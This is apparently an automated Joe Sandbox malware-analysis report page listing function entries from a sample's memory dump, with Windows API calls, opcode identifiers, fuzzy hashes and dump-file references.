                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: 57c545ec507b4a6df0aab48e9a0e869e8b1ad11ff8f1fe8f1cb38d7ebc26a353
                  • Instruction ID: 8a3c38901747b79a751673e4fd2fd46efc33337d82d34d0b7de78d9fb3e508e0
                  • Opcode Fuzzy Hash: 57c545ec507b4a6df0aab48e9a0e869e8b1ad11ff8f1fe8f1cb38d7ebc26a353
                  • Instruction Fuzzy Hash: F9A0029666D54ABC310C61517D56D76165DD4C5F51330551DB54AB40C1E54058455432
                  Function 00EFDAE8 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFDAB2
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: fefeb5d8e55e93d9db8d06f8065b1d56baceacc9e0dfaa433d1d7a351a5f33f7
                  • Instruction ID: fdb59a8c79fd7fd9d610c5286f6f516344c5009077c02c18a0a229b39ccf7cd7
                  • Opcode Fuzzy Hash: fefeb5d8e55e93d9db8d06f8065b1d56baceacc9e0dfaa433d1d7a351a5f33f7
                  • Instruction Fuzzy Hash: 96A0029626D506FC310C71517D16DBA165DD4C4B51330551AF50AA4045654458456435
                  Function 00EFDAFC Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFDAB2
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: 576177f360096b73de98e861d21e13646da2677b029e1f0afd109c9981df01e0
                  • Instruction ID: fdb59a8c79fd7fd9d610c5286f6f516344c5009077c02c18a0a229b39ccf7cd7
                  • Opcode Fuzzy Hash: 576177f360096b73de98e861d21e13646da2677b029e1f0afd109c9981df01e0
                  • Instruction Fuzzy Hash: 96A0029626D506FC310C71517D16DBA165DD4C4B51330551AF50AA4045654458456435
                  Function 00EFDAF2 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFDAB2
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: 5853f3659ec3f401171d297dd2662d3625e148e842b4dbf9cf38cb3e926bf315
                  • Instruction ID: fdb59a8c79fd7fd9d610c5286f6f516344c5009077c02c18a0a229b39ccf7cd7
                  • Opcode Fuzzy Hash: 5853f3659ec3f401171d297dd2662d3625e148e842b4dbf9cf38cb3e926bf315
                  • Instruction Fuzzy Hash: 96A0029626D506FC310C71517D16DBA165DD4C4B51330551AF50AA4045654458456435
                  Function 00EFDACA Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFDAB2
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: e86df02e91be34ec4c52ae1964e9ee1e533d0f5db4f26ae369c77f39025f4f37
                  • Instruction ID: fdb59a8c79fd7fd9d610c5286f6f516344c5009077c02c18a0a229b39ccf7cd7
                  • Opcode Fuzzy Hash: e86df02e91be34ec4c52ae1964e9ee1e533d0f5db4f26ae369c77f39025f4f37
                  • Instruction Fuzzy Hash: 96A0029626D506FC310C71517D16DBA165DD4C4B51330551AF50AA4045654458456435
                  Function 00EFDAC0 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFDAB2
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: 24dcf85b5c82bbca61a423b1dc643432c084db0c184ccf740e48f6f1e910bfd0
                  • Instruction ID: fdb59a8c79fd7fd9d610c5286f6f516344c5009077c02c18a0a229b39ccf7cd7
                  • Opcode Fuzzy Hash: 24dcf85b5c82bbca61a423b1dc643432c084db0c184ccf740e48f6f1e910bfd0
                  • Instruction Fuzzy Hash: 96A0029626D506FC310C71517D16DBA165DD4C4B51330551AF50AA4045654458456435
                  Function 00EFDAA5 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFDAB2
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: df86bd108e4593257c6211b8daff3363fe195f148bf7367be20dfd01ae173c3c
                  • Instruction ID: 6e65df8f95c069a3d6dd62048236f5d71ca05eaf6cb3f2e8f59b41b8f3e3dc0e
                  • Opcode Fuzzy Hash: df86bd108e4593257c6211b8daff3363fe195f148bf7367be20dfd01ae173c3c
                  • Instruction Fuzzy Hash: E3A0029636D505BC314C7151BD16DBA165DD4D0B11330551AF50AB4045654458456435
                  Function 00EFDBF7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFDBD5
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: 5ec9e2e8ff3b82d9ea47744aee40973088f0ae7f46cd54dedae3585f219f7452
                  • Instruction ID: 393031426bfd1de4c7d7eec8a698be96159c183b5eef490ccd8c8f63851e4900
                  • Opcode Fuzzy Hash: 5ec9e2e8ff3b82d9ea47744aee40973088f0ae7f46cd54dedae3585f219f7452
                  • Instruction Fuzzy Hash: 63A0029636D10BBC310856516D17DB6075DD4D4B513315519B60AE50415A505C455531
                  Function 00EFDC4E Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFDC36
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: e85c0477b87bfc0062232b274888b8a7119abb3fe76aa6a840388201ec0fac35
                  • Instruction ID: 729d82b6696ad2a9c7c9996e5e872d2e659c8ff7c92e1d2bf5a5b20355a02696
                  • Opcode Fuzzy Hash: e85c0477b87bfc0062232b274888b8a7119abb3fe76aa6a840388201ec0fac35
                  • Instruction Fuzzy Hash: 36A0029666D106BC710C61516D16DB6465ED4C4B51730591DB60AB405156815C455531
                  Function 00EFDC44 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFDC36
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: 4b9f769390f0e9442459fb503c07eb4eb52762e4b84b46af41670fa90e710e3e
                  • Instruction ID: 729d82b6696ad2a9c7c9996e5e872d2e659c8ff7c92e1d2bf5a5b20355a02696
                  • Opcode Fuzzy Hash: 4b9f769390f0e9442459fb503c07eb4eb52762e4b84b46af41670fa90e710e3e
                  • Instruction Fuzzy Hash: 36A0029666D106BC710C61516D16DB6465ED4C4B51730591DB60AB405156815C455531
                  Function 00EFDC0B Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFDBD5
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: b47e1f01b3fa8f5550255b0a69aa9d69b354498bae20c7525ade846c012eb235
                  • Instruction ID: 393031426bfd1de4c7d7eec8a698be96159c183b5eef490ccd8c8f63851e4900
                  • Opcode Fuzzy Hash: b47e1f01b3fa8f5550255b0a69aa9d69b354498bae20c7525ade846c012eb235
                  • Instruction Fuzzy Hash: 63A0029636D10BBC310856516D17DB6075DD4D4B513315519B60AE50415A505C455531
                  Function 00EFDC1F Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFDBD5
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: 317d72cb2b69506e2b6cbb57a0a56dc672fbcb4f959b0f3d44aa5c8d79e13310
                  • Instruction ID: 393031426bfd1de4c7d7eec8a698be96159c183b5eef490ccd8c8f63851e4900
                  • Opcode Fuzzy Hash: 317d72cb2b69506e2b6cbb57a0a56dc672fbcb4f959b0f3d44aa5c8d79e13310
                  • Instruction Fuzzy Hash: 63A0029636D10BBC310856516D17DB6075DD4D4B513315519B60AE50415A505C455531
                  Function 00EFDC15 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFDBD5
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: 2800e019de27756f581dd9a947819d1036f1a9e1096e3994a3632c3a11716096
                  • Instruction ID: 393031426bfd1de4c7d7eec8a698be96159c183b5eef490ccd8c8f63851e4900
                  • Opcode Fuzzy Hash: 2800e019de27756f581dd9a947819d1036f1a9e1096e3994a3632c3a11716096
                  • Instruction Fuzzy Hash: 63A0029636D10BBC310856516D17DB6075DD4D4B513315519B60AE50415A505C455531
                  Function 00EE9EBF Relevance: 1.5, APIs: 1, Instructions: 7fileCOMMON
                  Download Yara Rule
                  APIs
                  • SetEndOfFile.KERNELBASE(?,00EE9104,?,?,-00001964), ref: 00EE9EC2
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: File
                  • String ID:
                  • API String ID: 749574446-0
                  • Opcode ID: 647c606434927e8a62f3294822d87a39780416ec39483670a61c50cad02c78d9
                  • Instruction ID: 7536520d5b829447fe692d09d4018d66ee83c05c6960595a1e3bd9f920a3881d
                  • Opcode Fuzzy Hash: 647c606434927e8a62f3294822d87a39780416ec39483670a61c50cad02c78d9
                  • Instruction Fuzzy Hash: D7B011300A000A8A8E002B30CC088283AA0EB2230A30282A0A002CA0A0CB22C002AA00
                  Function 00EFA322 Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                  Download Yara Rule
                  APIs
                  • SetCurrentDirectoryW.KERNELBASE(?,00EFA587,C:\Users\user\Desktop,00000000,00F2946A,00000006), ref: 00EFA326
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: CurrentDirectory
                  • String ID:
                  • API String ID: 1611563598-0
                  • Opcode ID: 1de918d08a68594e6a02ea42be1e28fd3ead5406c31d8f5f721aab0c7b28bae7
                  • Instruction ID: 141078964a0e2509f4d082e790069aa24758fd55b46058610bb234404a0bcbbc
                  • Opcode Fuzzy Hash: 1de918d08a68594e6a02ea42be1e28fd3ead5406c31d8f5f721aab0c7b28bae7
                  • Instruction Fuzzy Hash: 13A011302A800AAA8A000B30CC0AC2ABAA0ABA0B02F00CA20B002C00A0CB308828BA00
                  Function 00EE96D0 Relevance: 1.3, APIs: 1, Instructions: 30COMMON
                  Download Yara Rule
                  APIs
                  • CloseHandle.KERNELBASE(000000FF,?,?,00EE968F,?,?,?,?,00F11FA1,000000FF), ref: 00EE96EB
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: CloseHandle
                  • String ID:
                  • API String ID: 2962429428-0
                  • Opcode ID: c3b86c51e0551d9bc1554553650e130b4e261ce0e47a7e10252f0878fecc14dc
                  • Instruction ID: 39178ec6d5fa065f8ec099cdfecb891645730fa48eaa62d1cf88771d15542c30
                  • Opcode Fuzzy Hash: c3b86c51e0551d9bc1554553650e130b4e261ce0e47a7e10252f0878fecc14dc
                  • Instruction Fuzzy Hash: 17F0E9300867495FDB308E22D54879277E49B12339F04AB1FC0F7134E1D760694D9F00

                  Non-executed Functions

                  Function 00EFB8E0 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 286timewindowfileCOMMON
                  Download Yara Rule
                  APIs
                    • Part of subcall function 00EE130B: GetDlgItem.USER32(00000000,00003021), ref: 00EE134F
                    • Part of subcall function 00EE130B: SetWindowTextW.USER32(00000000,00F135B4), ref: 00EE1365
